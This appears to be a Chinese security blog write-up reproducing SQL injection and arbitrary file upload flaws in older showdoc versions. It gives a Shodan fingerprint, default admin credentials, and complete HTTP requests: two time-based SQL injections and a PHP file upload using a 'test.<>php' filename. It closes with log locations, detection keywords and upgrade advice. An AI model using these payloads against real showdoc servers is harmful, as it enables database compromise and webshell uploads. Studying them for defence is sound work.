showDoc 多个SQL注入和文件上传漏洞复现
漏洞简述
showdoc是一个非常适合IT团队的在线API文档、技术文档工具,它可以提高团队成员之间的沟通效率,使用此系统的用户众多,目前github star 10k+。showdoc使用php+sqlite,其历史版本存在多个sql注入漏洞和文件上传漏洞。
漏洞影响版本
- 添加用户uid参数注入 showdoc < 2.10.3
- 排序page参数注入 showdoc < 2.9.3
- PageController前台任意文件上传 < 2.8.3
Shodan搜索语法
http.favicon.hash:1969934080

漏洞环境搭建
docker run -d --name showdoc --user=root --privileged=true -p 4999:80 -v /showdoc_data/html:/var/www/html/ star7th/showdoc:v2.9.2
漏洞复现
添加用户uid参数注入 showdoc < 2.10.3
搭建完成后访问:http://your-ip:4999/web/#/user/login
默认管理员账号密码为:showdoc/123456

进入后台后添加新用户。

抓包修改参数。
POST /server/index.php?s=/api/adminUser/addUser HTTP/1.1 Host: your-ip:4999 Content-Length: 115 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Origin: http://vul.zgao.top:4999 Referer: http://vul.zgao.top:4999/web/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: think_language=zh-CN; PHPSESSID=ca2c612d727c9bbb884949fe2652c317; cookie_token=cd0813543696238036e397dc82746084cf207dfc8e3a6c78fb2668b7ba0a953d Connection: close username=test&password=test&uid=10'+and+1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))+and+'1'='1&name=test


排序page参数注入 showdoc < 2.9.3
首先注册一个账号(默认开启)
http://your-ip:4999/web/#/user/register

/web/#/item/add登录后新增一个项目,在创建项目后打开项目可查看到项目id


item_id 填写自己的项目id


sqlite并不自带延时函数,通过笛卡尔积冗余实现延时盲注。
GET /server/?s=/api/page/sort&item_id=5&pages={"xxx')or(case+when+1=2+then(+select+a.tbl_name+from+sqlite_master+join+sqlite_master+a+join+sqlite_master+b+join+sqlite_master+c+order+by+1+desc)+else+1+end)--":"bbb"} HTTP/1.1 Host: your-ip:4999 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Referer: http://vul.zgao.top:4999/web/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=ca2c612d727c9bbb884949fe2652c317; think_language=zh-CN; cookie_token=80da684ab65615523dfea7a870826c8d9ad821a65abc63ab951511448cf2fe74 Connection: close


从git提交的历史记录,作者修复时是将参数格式化为数字型再拼接进sql查询。

PageController前台任意文件上传
POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Content-Length: 240 Content-Type: multipart/form-data; boundary=--------------------------7 Accept-Encoding: gzip ----------------------------7 Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" Content-Type: text/plain <?php phpinfo();?> ----------------------------7--


溯源排查
server/Application/Runtime/Logs/Api/

使用docker部署的可以用docker logs 查看。
排查关键词:
- /api/page/sort
- /api/adminUser/addUser
- /home/page/uploadImg

修复方式
升级到最新版本。
赞赏微信赞赏
支付宝赞赏
发表评论